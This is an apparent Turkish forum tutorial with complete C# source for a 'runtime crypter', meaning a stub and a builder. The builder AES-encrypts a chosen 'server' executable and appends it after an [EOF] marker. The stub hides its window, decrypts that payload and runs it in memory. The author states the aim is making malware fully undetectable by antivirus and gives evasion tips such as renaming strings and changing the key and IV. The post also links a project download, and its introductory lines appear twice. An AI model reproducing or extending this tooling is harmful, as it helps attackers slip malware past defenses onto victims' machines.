Merhaba , bu konumda C# ile Runtime crypter yapacağız.
Fud yada Ud yapabilmeniz için string ve byte değerlerinin adlarını , algoritmayı , ve eof adını değiştirebilirsiniz.
Yada daha farklı mantık deneyebilirsiniz , mesela şifrelenmiş byteları eof olarak stubın sonuna eklemek yerine stuba string olarak
kaydedebilirsiniz.
İlk olarak Stubı hazırlayacağım. Bunun için yeni bir konsol projesi açıyorum.
Stubı hazırladık şimdi sıra builderda.
Aslında ben ilk builder yapıp sonra stubı yaparım ama burda böyle anlatmayı tercih ettim
Builder
Sansürlenmiş yerlerde "v0id" yazıyor.0 yerine o gelcek.
Stub projesinde konsolu kapatmayı unutmuşum
Rijndael Managed'ın önceki satırına "ShowWindow(Process.GetCurrentProcess().MainWindowHandle, 0);" ekleyin.
Valla basitçe anlattım.
Fud yada Ud yapabilmeniz için string , byte adlarını ve algoritmayı değiştirmeniz gerekmekte ve key ve iv yi de kesin olarak
değiştirmeniz
gerekmekte.
Stubı taratmadım çünkü zaten antiler tarafından çok algılanacaktır nedeni bu string ve byte adları ile milyonlarca crypter
oluşturulmuştur.
Hatam varsa belirtirseniz sevinirim.
PROJE LİNKİhttps://www.dosya.tc/server31/oulcok/Patrick_Jane_Crypter.zip.html
Fud yada Ud yapabilmeniz için string ve byte değerlerinin adlarını , algoritmayı , ve eof adını değiştirebilirsiniz.
Yada daha farklı mantık deneyebilirsiniz , mesela şifrelenmiş byteları eof olarak stubın sonuna eklemek yerine stuba string olarak
kaydedebilirsiniz.
İlk olarak Stubı hazırlayacağım. Bunun için yeni bir konsol projesi açıyorum.
Kod:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Reflection;
namespace Patrick_Jane_Crypter_Stub
{
class Program
{
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);//Konsol ekranının gözükmemesi için dll import ediyoruz.
static **** Main(string[] args)
{
ShowWindow(Process.GetCurrentProcess().MainWindowHandle, 0);
RijndaelManaged rijAlg = new RijndaelManaged();//Yeni rijndael managed oluşturduk.
rijAlg.Key = Encoding.ASCII.GetBytes("QqWmCA4pa9atJKL9");//Key belirliyoruz 16 bit uzunlukta
rijAlg.IV = Encoding.ASCII.GetBytes("QqWmCA4pa9atJKL9");// IV belirliyoruz 16 bit uzunlukta
ICryptoTransform decryptor = rijAlg.CreateDecryptor(rijAlg.Key, rijAlg.IV);// yeni ıcrypto transform oluşturuyoruz.
MemoryStream msDecrypt = new MemoryStream();
CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Write);//crypto stream oluşturup içine
// türünü yazıcağımız için write olarak belirliyoruz.
string file = File.ReadAllText(Environment.CurrentDirectory + "\\" + AppDomain.CurrentDomain.FriendlyName.Replace(".vshost", ""));
if (file.Contains("[EOF]"))// if değeri oluşturuyoruz eğer stubın sonunda [EOF] adlı ayraç varsa kodları çalıştırcak eğer yoksa //kapancak
{
byte[] base64 = Convert.FromBase64String(file.Substring(file.IndexOf("[EOF]") + "[EOF]".Length));//[EOF] ayracından sonra gelen yazıları yani şifrelenmiş kodları base64 olarak çözcek.
csDecrypt.Write(base64, 0, base64.Length);//base64 ile çözdüğümüz kodları bu sefer tekrar belirlediğimiz iv ve key ile çözecek //ve memory stream e yazdırcak.
csDecrypt.Close();//işimiz bittiği için kapatıyoruz.
Assembly asm = Assembly.Load(msDecrypt.ToArray());//çözülmüş olan kodları memory steamden alıp bellekte çalıştırcak.
asm.EntryPoint.Invoke(null, null);
}
}
}
}
Stubı hazırladık şimdi sıra builderda.
Aslında ben ilk builder yapıp sonra stubı yaparım ama burda böyle anlatmayı tercih ettim
Builder
Kod:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Security.Cryptography;
namespace Patrick_Jane_Crypter_Builder
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private **** Form1_Load(object sender, EventArgs e)
{
}
private **** button1_Click(object sender, EventArgs e)
{
OpenFileDialog server = new OpenFileDialog();// open file dialog oluşturup sadece exe seçmesini sağlıyoruz.
server.Filter = "Exe | *.exe"; // bu arada serveri seçiyoruz burda
if (server.ShowDialog() == DialogResult.OK) // eğer seçerse dosyanın yolu textbox1 e yazdırılcak.
textBox1.Text = server.FileName; //
}
private **** button2_Click(object sender, EventArgs e)
{
OpenFileDialog stub = new OpenFileDialog();// yeni bir open file olarak daha oluşturuyoruz ve sadece exe seçmesini sağlıyoruz.
stub.Filter = "Exe | *.exe"; //stubı seçiyoruz.
if (stub.ShowDialog() == DialogResult.OK) // eğer seçerse dosya yolu textbox2 e yazdırılcak.
textBox2.Text = stub.FileName;
}
private **** button3_Click(object sender, EventArgs e)
{
byte[] server = File.ReadAllBytes(textBox1.Text); // textbox1 deki dosyanın bytelarını okuyoruz.
RijndaelManaged rijAlg = new RijndaelManaged(); // yeni rijndael managed oluşturuyoruz.
rijAlg.Key = Encoding.ASCII.GetBytes("QqWmCA4pa9atJKL9");//16 bit uzunlukta key seçiyoruz.
rijAlg.IV = Encoding.ASCII.GetBytes("QqWmCA4pa9atJKL9");//16 bit uzunlukta iv seçiyoruz.
ICryptoTransform encryptor = rijAlg.CreateEncryptor(rijAlg.Key, rijAlg.IV);
MemoryStream msEncrypt = new MemoryStream();
CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write);//crypto stream oluşturuyoruz
// yazdırcağımız için modu write olarak seçiyoruz.
csEncrypt.Write(server, 0,server.Length);//okduğumuz dosyanın bytelarını şifreliyoruz ve memory streame yazdırıyoruz.
csEncrypt.Close();//işimiz bittiği için kapatıyoruz.
string base64 = Convert.ToBase64String(msEncrypt.ToArray());//şifrelenmiş kodları base64 ile tekrar şifreleyip düzenli hale //gelmesini sağlıyoruz.
File.AppendAllText(textBox2.Text, "[EOF]" + Convert.ToBase64String(msEncrypt.ToArray()));//textbox2 deki seçtiğimiz olan stubın
// sonuna [EOF] adlı ayraç koyuyor ve base64 ile şifrelediğimiz kodları [EOF]'un sonrasına koyuyor.
}
}
}
Stub projesinde konsolu kapatmayı unutmuşum
Rijndael Managed'ın önceki satırına "ShowWindow(Process.GetCurrentProcess().MainWindowHandle, 0);" ekleyin.
Valla basitçe anlattım.
Fud yada Ud yapabilmeniz için string , byte adlarını ve algoritmayı değiştirmeniz gerekmekte ve key ve iv yi de kesin olarak
değiştirmeniz
gerekmekte.
Stubı taratmadım çünkü zaten antiler tarafından çok algılanacaktır nedeni bu string ve byte adları ile milyonlarca crypter
oluşturulmuştur.
Hatam varsa belirtirseniz sevinirim.
PROJE LİNKİhttps://www.dosya.tc/server31/oulcok/Patrick_Jane_Crypter.zip.html
Son düzenleme: